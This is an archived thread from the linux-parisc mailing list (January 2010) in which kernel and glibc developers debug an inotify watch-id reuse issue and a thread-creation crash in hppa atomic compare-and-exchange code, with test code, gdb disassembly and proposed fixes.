    int fd, wd;

    fd =3D inotify_init ();
    wd =3D inotify_add_watch (fd,
                            "test.c",
                            IN_OPEN | IN_CLOSE);
    printf("First: %d\n", wd);
    inotify_rm_watch(fd, wd);
    wd =3D inotify_add_watch (fd,
                            "a.out",
                            IN_OPEN | IN_CLOSE);
    printf("Second: %d\n", wd);
    inotify_rm_watch(fd, wd);
}

produces the output:

First: 1
Second: 1

The behaviour he (and the test case's author) expects is that ids for
closed descriptors are not reused and the second id will be 2.  The
implementation does seem to ensure that:

static int inotify_handle_get_wd(struct inotify_handle *ih,
				 struct inotify_watch *watch)
{
	int ret;

	do {
		if (unlikely(!idr_pre_get(&ih->idr, GFP_NOFS)))
			return -ENOSPC;
		ret =3D idr_get_new_above(&ih->idr, watch, ih->last_wd+1, &watch->wd);
	} while (ret =3D=3D -EAGAIN);

	if (likely(!ret))
		ih->last_wd =3D watch->wd;

	return ret;
}

Removing the inotify_rm_watch() calls from the test case results in the
expected output, so I have no reason to think that id can be assigned
while it is already in use.  However, it does appear that
idr_get_empty_slot() can somehow select an id smaller than starting_id.

Ben.

--=20
Ben Hutchings
The obvious mathematical breakthrough [to break modern encryption] would be
development of an easy way to factor large prime numbers. - Bill Gates

--=-+Bt2syK3FfD0sTZZw5zB
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iQIVAwUAS0Em5+e/yOyVhhEJAQLjJw/6A9r2xScCXvOkaEo9S469PLt0Gw4XSGbi
PfEqjy81qhcjSTa2YfEU+mmfdehgMu3KNaudNjBe7ayR9ZskA5rEB1xq6cn4CpNi
N8RYkVkY8WTya4unwJC3kU8RnINP0xZVE65OuxTsTjXaFUEMkSyDxQdD8eR9ExQc
XSchSYKb1PLZFni7zVOy7X8QfkrMrCyP7XL09f5TJblPPcMJLa/hHIa9pAXWqb6s
7xgU0SkrlGUxIul07UFOTXOd/JZ+dVN1EyA6DqnghCD0buhSPq0OnzU+GTc+2iK6
Zut+DCBuxv7hXDzxViVz+olC/KPoc4266sDHqgbdMXyjsYEP4h7s0fPqcoPJ3U5q
MDduNtUfbxfuGAbKjw5Qj3nCd6m86u3tBRz5VglFoGqk2SjHDYlKdXivabZdYCC8
2GYe6rGn3l1Tl/uEwHNvXbbpzpQOPvc5lkhAvFJ/686GlRkIrUkZPK6bxlTfKRop
8+ycqal7vAZqSNb3exCH+QN5n3cYtl5kQaSw40TyszQA9qWd+Q06lZQI8QcMhF/P
CtINLPEcuZkQhlzzfXByUHwAotZR9CmO5RnyWzJEompmdyWA8Mcd8y/fKVJ07+Qk
8jlHQ+kRVPAinzHZsx+yylNoIxrX+hLJKs/hDwH6WkFj/9MrKjW8Tm5GfmmiXSVZ
F2VZF/ie7bk=
=UvTF
-----END PGP SIGNATURE-----

--=-+Bt2syK3FfD0sTZZw5zB--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Unexpected behaviour of idr_get_empty_slot() on parisc
Date: Sun, 3 Jan 2010 18:50:54 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20100103235054.GC19179@bombadil.infradead.org>
References: <20091220234610.GG11237@jade.home> <1261354364.25157.246.camel@localhost> <20091221003500.GK11237@jade.home> <1261357334.25157.272.camel@localhost> <1262561005.2238.51.camel@localhost>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1262562665 604 80.91.229.12 (3 Jan 2010 23:51:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Jan 2010 23:51:05 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Ryan Niebur <ryan@debian.org>
To: Ben Hutchings <ben@decadent.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 00:50:57 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRaDo-0003pI-A3
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jan 2010 00:50:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752227Ab0ACXu4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Jan 2010 18:50:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752646Ab0ACXu4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 3 Jan 2010 18:50:56 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51786 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752227Ab0ACXu4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Jan 2010 18:50:56 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NRaDm-0006lg-SQ; Sun, 03 Jan 2010 23:50:54 +0000
Content-Disposition: inline
In-Reply-To: <1262561005.2238.51.camel@localhost>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2547
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2547>

On Sun, Jan 03, 2010 at 11:23:25PM +0000, Ben Hutchings wrote:
> Ryan Niebur reported in <http://bugs.debian.org/561880> that on a
> PA-RISC system running Linux 2.6.32 the following test case for inotify:
> 

I bet this is because classic RCU is removed, and tree RCU was
insufficiently tested on crap platforms before the removal.

I'll try to re-add it and we can see if it's an RCU problem or something
nastier.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 04 Jan 2010 17:27:32 +0100
Lines: 149
Approved: news@gmane.org
Message-ID: <20100104162732.10090@gmx.net>
References: <20100101034858.80D264EA9@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1262622470 23843 80.91.229.12 (4 Jan 2010 16:27:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2010 16:27:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, dave.anglin@nrc-cnrc.gc.ca,
	carlos@systemhalted.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 17:27:43 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRpmO-0005Rr-L1
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jan 2010 17:27:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752983Ab0ADQ1h convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2010 11:27:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753068Ab0ADQ1h
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Jan 2010 11:27:37 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:52754 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753630Ab0ADQ1g (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2010 11:27:36 -0500
Original-Received: (qmail 11311 invoked by uid 0); 4 Jan 2010 16:27:34 -0000
Original-Received: from 155.56.68.216 by www185.gmx.net with HTTP;
 Mon, 04 Jan 2010 17:27:32 +0100 (CET)
In-Reply-To: <20100101034858.80D264EA9@hiauly1.hia.nrc.ca>
X-Authenticated: #1045983
X-Flags: 0001
X-Mailer: WWW-Mail 6100 (Global Message Exchange)
X-Priority: 3
X-Provags-ID: V01U2FsdGVkX1+9uqgtY5K9moljswcjHcTESh06YwCrbGGl/bnt6X
 9Mshzcam56txYkwywE73Vb2yiRl19KidZWIQ== 
X-GMX-UID: wy53f7pJRkkNRKuPfGRqI4ZudWkvKFNX
X-FuHaFi: 0.46
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2548
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2548>

> > I tested the patch and the testcase in
> > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=3D561203
> > still segfaults.
>=20
> I think the expect/tcl bug and the bug 561203 are related.  Looking
> at the minifail core dump, I see:
>=20
> Core was generated by `./minifail'.
> Program terminated with signal 11, Segmentation fault.
> #0  0x00000000 in ?? ()
>=20
> So, how did we get to 0?  $rp is 0, so we might have executed a
> return to this location.  $r31 conains 0x4157cc4f.
>=20
> (gdb) disass 0x4157cc3c 0x4157cc5c
> Dump of assembler code from 0x4157cc3c to 0x4157cc5c:
> 0x4157cc3c <_IO_puts+332>:      copy rp,r25
> 0x4157cc40 <_IO_puts+336>:      copy r6,r24
> 0x4157cc44 <_IO_puts+340>:      be,l b0(sr2,r0),sr0,r31
> 0x4157cc48 <_IO_puts+344>:      ldi 0,r20
> 0x4157cc4c <_IO_puts+348>:      ldi -b,r24
> 0x4157cc50 <_IO_puts+352>:      cmpb,=3D,n r24,r21,0x4157cc38 <_IO_pu=
ts+328>
> 0x4157cc54 <_IO_puts+356>:      nop
> 0x4157cc58 <_IO_puts+360>:      ldi -2d,r25


I think I have an idea what could have happened and why it most of the =
times (but not always) crashes in the child process...

In ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h we have:
#define atomic_compare_and_exchange_val_acq(mem, newval, oldval) \
  ({                                                                   =
 \
     volatile int lws_errno;                                           =
 \
     volatile int lws_ret;                                             =
 \
     asm volatile(                                                     =
 \
=2E..some assembly...
        "stw    %%r28, %0                       \n\t"                  =
 \
        "sub    %%r0, %%r21, %%r21              \n\t"                  =
 \
        "stw    %%r21, %1                       \n\t"                  =
 \
        : "=3Dm" (lws_ret), "=3Dm" (lws_errno)                         =
     \
        : "r" (mem), "r" (oldval), "r" (newval)                        =
 \
        : _LWS_CLOBBER          =20

this means, that lws_errno and lws_ret are located on the stack.

With gdb I see this expanded to:
0x40705494 <start_thread+1204>: stw ret0,-1b8(sp)
0x40705498 <start_thread+1208>: sub r0,r21,r21
0x4070549c <start_thread+1212>: stw r21,-1b4(sp)

So, lws_ret/lws_errno are at -1b8/-1b4(sp).

And this LWS code is called from=20
=2E./nptl/sysdeps/pthread/createthread.c:
static int create_thread (struct pthread *pd, const struct pthread_attr=
 *attr, STACK_VARIABLES_PARMS)
=2E..
          int res =3D do_clone (pd, attr, clone_flags, start_thread,
                              STACK_VARIABLES_ARGS, 1);
          if (res =3D=3D 0)
            {
=2E..(line 216):
              /* Enqueue the descriptor.  */
              do
                pd->nextevent =3D __nptl_last_event;
              while (atomic_compare_and_exchange_bool_acq(&__nptl_last_=
event, pd, pd->nextevent) !=3D 0);


And here is what could have happened:
a) do_clone() creates the child process.
b) the child process gets a new stack
c) the child calls atomic_compare_and_exchange_bool_acq() and thus the =
LWS code above.
d) the LWS code writes to the stack location at -1b8(sp), which is out =
of bounds for the child process (the child stack got only ~ 0x40 bytes =
initial room)
e) Thus the child either crashes, overwrites memory of the parent or do=
es other things wrong.

Additionally:
Due to the LWS assembly code and because we don't have many registers f=
ree while using LWS, gcc used %rp as a temporary register which may hav=
e fooled us in our thinking?

0x40705458 <start_thread+1144>: ldi 0,rp
0x4070545c <start_thread+1148>: ldi fb,r3
0x40705460 <start_thread+1152>: ldw -70(sp),ret0
0x40705464 <start_thread+1156>: ldw 214(ret0),ret1
0x40705468 <start_thread+1160>: copy r5,r26
0x4070546c <start_thread+1164>: copy ret1,r25
0x40705470 <start_thread+1168>: copy rp,r24
0x40705474 <start_thread+1172>: be,l b0(sr2,r0),sr0,r31
0x40705478 <start_thread+1176>: ldi 0,r20
0x4070547c <start_thread+1180>: ldi -b,r24
0x40705480 <start_thread+1184>: cmpb,=3D,n r24,r21,0x40705468 <start_th=
read+1160>
0x40705484 <start_thread+1188>: nop
0x40705488 <start_thread+1192>: ldi -2d,r25
0x4070548c <start_thread+1196>: cmpb,=3D,n r25,r21,0x40705468 <start_th=
read+1160>
0x40705490 <start_thread+1200>: nop
0x40705494 <start_thread+1204>: stw ret0,-1b8(sp)
0x40705498 <start_thread+1208>: sub r0,r21,r21
0x4070549c <start_thread+1212>: stw r21,-1b4(sp)
0x407054a0 <start_thread+1216>: ldw -1b4(sp),ret0


If my assumptions are correct, then we either could

a) use the gcc atomic builtins instead of own atomic code in libc6:
E.g: add to ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h:
=2E..
#if __GNUC_PREREQ (4, 1)
# define atomic_compare_and_exchange_val_acq(mem, newval, oldval) \
  __sync_val_compare_and_swap (mem, oldval, newval)
#  define atomic_compare_and_exchange_bool_acq(mem, newval, oldval) \
  (! __sync_bool_compare_and_swap (mem, oldval, newval))

#elif __ASSUME_LWS_CAS
=2E...

b) change the assembly in=20
atomic_compare_and_exchange_val_acq()
to not put it's local variables (lws_errno and lws_ret) on the stack.

I'm currently testing option a).

Helge
(PS: I used a webmailer, so the indenting might be strange...)
--=20
GRATIS f=FCr alle GMX-Mitglieder: Die maxdome Movie-FLAT!
Jetzt freischalten unter http://portal.gmx.net/de/go/maxdome01
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 4 Jan 2010 12:16:40 -0500
Lines: 93
Approved: news@gmane.org
Message-ID: <119aab441001040916v4ed3fb61od24cfcc6e3558faa@mail.gmail.com>
References: <20100101034858.80D264EA9@hiauly1.hia.nrc.ca>
	 <20100104162732.10090@gmx.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1262625427 1783 80.91.229.12 (4 Jan 2010 17:17:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2010 17:17:07 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org, dave.anglin@nrc-cnrc.gc.ca
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 18:17:00 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRqY7-000898-EJ
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jan 2010 18:16:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752983Ab0ADRQp convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2010 12:16:45 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753172Ab0ADRQp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Jan 2010 12:16:45 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:45527 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752983Ab0ADRQo convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2010 12:16:44 -0500
Original-Received: by bwz27 with SMTP id 27so9408893bwz.21
        for <linux-parisc@vger.kernel.org>; Mon, 04 Jan 2010 09:16:41 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=D14UsDHhu3avLnSiMwhNeoH8v9KSHqI6V3Q/3eP3bGs=;
        b=j4X3hDaU33nzUjc8gkUuUtVSpR737v2sHhX9ZOA4rVGbP8Y/+J1NfTdtRoOS9VnTzT
         i0EsySssP+38tkocyF5fiyBkTGa+Cg8MNgZzvLwLiprP49XWPF9UDIEeBanIKnOdrPwU
         IHhRCkiEPalua7OR+Ho/+RxhYvRHpJo6dTVdg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=b56Nr8zVJXiIhZrf/NUb0Puct+96q3B0XEhhffnADC0uVA2Abjz/SsvSP8UDrIFVJn
         wZKBfa9q4eVzqfUiC9wA8wnSeJCw9Cj6sTuh9TDQ/lMiGnFlYxphtyEBbDkfjjKpLLu3
         xJPh9ZoL8HD2th9P3/kj3+CYY0rU6YrCR/Ey8=
Original-Received: by 10.204.24.9 with SMTP id t9mr2110512bkb.166.1262625400988; Mon, 
	04 Jan 2010 09:16:40 -0800 (PST)
In-Reply-To: <20100104162732.10090@gmx.net>
X-Google-Sender-Auth: a85850ca07aea785
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2549
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2549>

On Mon, Jan 4, 2010 at 11:27 AM, Helge Deller <deller@gmx.de> wrote:
> I think I have an idea what could have happened and why it most of th=
e times (but not always) crashes in the child process...
>
> In ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h we have:
> #define atomic_compare_and_exchange_val_acq(mem, newval, oldval) \
> =A0({ =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
\
> =A0 =A0 volatile int lws_errno; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
> =A0 =A0 volatile int lws_ret; =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
> =A0 =A0 asm volatile( =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
> ...some assembly...
> =A0 =A0 =A0 =A0"stw =A0 =A0%%r28, %0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 \n\t" =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
> =A0 =A0 =A0 =A0"sub =A0 =A0%%r0, %%r21, %%r21 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0\n\t" =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
> =A0 =A0 =A0 =A0"stw =A0 =A0%%r21, %1 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0 =A0 \n\t" =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
> =A0 =A0 =A0 =A0: "=3Dm" (lws_ret), "=3Dm" (lws_errno) =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\
> =A0 =A0 =A0 =A0: "r" (mem), "r" (oldval), "r" (newval) =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
> =A0 =A0 =A0 =A0: _LWS_CLOBBER
>
> this means, that lws_errno and lws_ret are located on the stack.

Correct. We could place them in registers if we wanted, they are
registers r28 (lws return) and r21 (lws error).

> With gdb I see this expanded to:
> 0x40705494 <start_thread+1204>: stw ret0,-1b8(sp)
> 0x40705498 <start_thread+1208>: sub r0,r21,r21
> 0x4070549c <start_thread+1212>: stw r21,-1b4(sp)
>
> So, lws_ret/lws_errno are at -1b8/-1b4(sp).

Correct.

> And this LWS code is called from
> ../nptl/sysdeps/pthread/createthread.c:
> static int create_thread (struct pthread *pd, const struct pthread_at=
tr *attr, STACK_VARIABLES_PARMS)
> ...
> =A0 =A0 =A0 =A0 =A0int res =3D do_clone (pd, attr, clone_flags, start=
_thread,
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0STACK_VARI=
ABLES_ARGS, 1);
> =A0 =A0 =A0 =A0 =A0if (res =3D=3D 0)
> =A0 =A0 =A0 =A0 =A0 =A0{
> ...(line 216):
> =A0 =A0 =A0 =A0 =A0 =A0 =A0/* Enqueue the descriptor. =A0*/
> =A0 =A0 =A0 =A0 =A0 =A0 =A0do
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0pd->nextevent =3D __nptl_last_event;
> =A0 =A0 =A0 =A0 =A0 =A0 =A0while (atomic_compare_and_exchange_bool_ac=
q(&__nptl_last_event, pd, pd->nextevent) !=3D 0);
>
>
> And here is what could have happened:
> a) do_clone() creates the child process.
> b) the child process gets a new stack
> c) the child calls atomic_compare_and_exchange_bool_acq() and thus th=
e LWS code above.
> d) the LWS code writes to the stack location at -1b8(sp), which is ou=
t of bounds for the child process (the child stack got only ~ 0x40 byte=
s initial room)

This is wrong. Each thread should have 8MB of stack. If we only get ~
0x40 bytes then npt/nptl-init.c is setting __default_stacksize
incorrectly.

Even PTHREAD_STACK_MIN should be 16kb?

Could you verify that your assertion that only ~ 0x40 bytes of initial
room were allocated?

> e) Thus the child either crashes, overwrites memory of the parent or =
does other things wrong.

I agree with your analysis, but the error is that more stack should be
allocated.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 4 Jan 2010 12:32:38 -0500 (EST)
Lines: 126
Approved: news@gmane.org
Message-ID: <20100104173239.6C0AF5183@hiauly1.hia.nrc.ca>
References: <20100104162732.10090@gmx.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262626371 5163 80.91.229.12 (4 Jan 2010 17:32:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2010 17:32:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, dave.anglin@nrc-cnrc.gc.ca,
	carlos@systemhalted.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 18:32:43 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRqnJ-0005os-Ki
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jan 2010 18:32:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752193Ab0ADRcl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2010 12:32:41 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752842Ab0ADRcl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Jan 2010 12:32:41 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4570 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752193Ab0ADRcl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2010 12:32:41 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6C0AF5183; Mon,  4 Jan 2010 12:32:39 -0500 (EST)
In-Reply-To: <20100104162732.10090@gmx.net> from "Helge Deller" at Jan 4, 2010 05:27:32 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2550
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2550>

> I think I have an idea what could have happened and why it most of the times (but not always) crashes in the child process...
> 
> In ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h we have:
> #define atomic_compare_and_exchange_val_acq(mem, newval, oldval) \
>   ({                                                                    \
>      volatile int lws_errno;                                            \
>      volatile int lws_ret;                                              \
>      asm volatile(                                                      \
> ...some assembly...
>         "stw    %%r28, %0                       \n\t"                   \
>         "sub    %%r0, %%r21, %%r21              \n\t"                   \
>         "stw    %%r21, %1                       \n\t"                   \
>         : "=m" (lws_ret), "=m" (lws_errno)                              \
>         : "r" (mem), "r" (oldval), "r" (newval)                         \
>         : _LWS_CLOBBER           
> 
> this means, that lws_errno and lws_ret are located on the stack.
> 
> With gdb I see this expanded to:
> 0x40705494 <start_thread+1204>: stw ret0,-1b8(sp)
> 0x40705498 <start_thread+1208>: sub r0,r21,r21
> 0x4070549c <start_thread+1212>: stw r21,-1b4(sp)
> 
> So, lws_ret/lws_errno are at -1b8/-1b4(sp).
> 
> And this LWS code is called from 
> ../nptl/sysdeps/pthread/createthread.c:
> static int create_thread (struct pthread *pd, const struct pthread_attr *attr, STACK_VARIABLES_PARMS)
> ...
>           int res = do_clone (pd, attr, clone_flags, start_thread,
>                               STACK_VARIABLES_ARGS, 1);
>           if (res == 0)
>             {
> ...(line 216):
>               /* Enqueue the descriptor.  */
>               do
>                 pd->nextevent = __nptl_last_event;
>               while (atomic_compare_and_exchange_bool_acq(&__nptl_last_event, pd, pd->nextevent) != 0);
> 
> 
> And here is what could have happened:
> a) do_clone() creates the child process.
> b) the child process gets a new stack
> c) the child calls atomic_compare_and_exchange_bool_acq() and thus the LWS code above.
> d) the LWS code writes to the stack location at -1b8(sp), which is out of bounds for the child process (the child stack got only ~ 0x40 bytes initial room)

I think the stack locations should be ok because start_thread allocates
an additional 0x1c0 bytes:

Dump of assembler code for function start_thread:
   0x40a40300 <+0>:     stw rp,-14(sp)
   0x40a40304 <+4>:     ldo 1c0(sp),sp

In all the fails I have looked at, the saved $rp value is clobbered.
The stack pointer value seems consistent with 0x40 + 0x1c0.  The data
placed at the beginning of the stack for the child thread is not clobbered.

> e) Thus the child either crashes, overwrites memory of the parent or does other things wrong.

I don't see how the forked child can affect the memory of the parent.
It can close files and affect the parent that way (child should use
_exit and not exit).

If the forked child actually overwrites memory of the parent, this is
a big bug in the linux fork code.

> Additionally:
> Due to the LWS assembly code and because we don't have many registers free while using LWS, gcc used %rp as a temporary register which may have fooled us in our thinking?

$rp is saved in the first instruction of start_thread.  So, its use
below should be ok.

> 0x40705458 <start_thread+1144>: ldi 0,rp
> 0x4070545c <start_thread+1148>: ldi fb,r3
> 0x40705460 <start_thread+1152>: ldw -70(sp),ret0
> 0x40705464 <start_thread+1156>: ldw 214(ret0),ret1
> 0x40705468 <start_thread+1160>: copy r5,r26
> 0x4070546c <start_thread+1164>: copy ret1,r25
> 0x40705470 <start_thread+1168>: copy rp,r24
> 0x40705474 <start_thread+1172>: be,l b0(sr2,r0),sr0,r31
> 0x40705478 <start_thread+1176>: ldi 0,r20
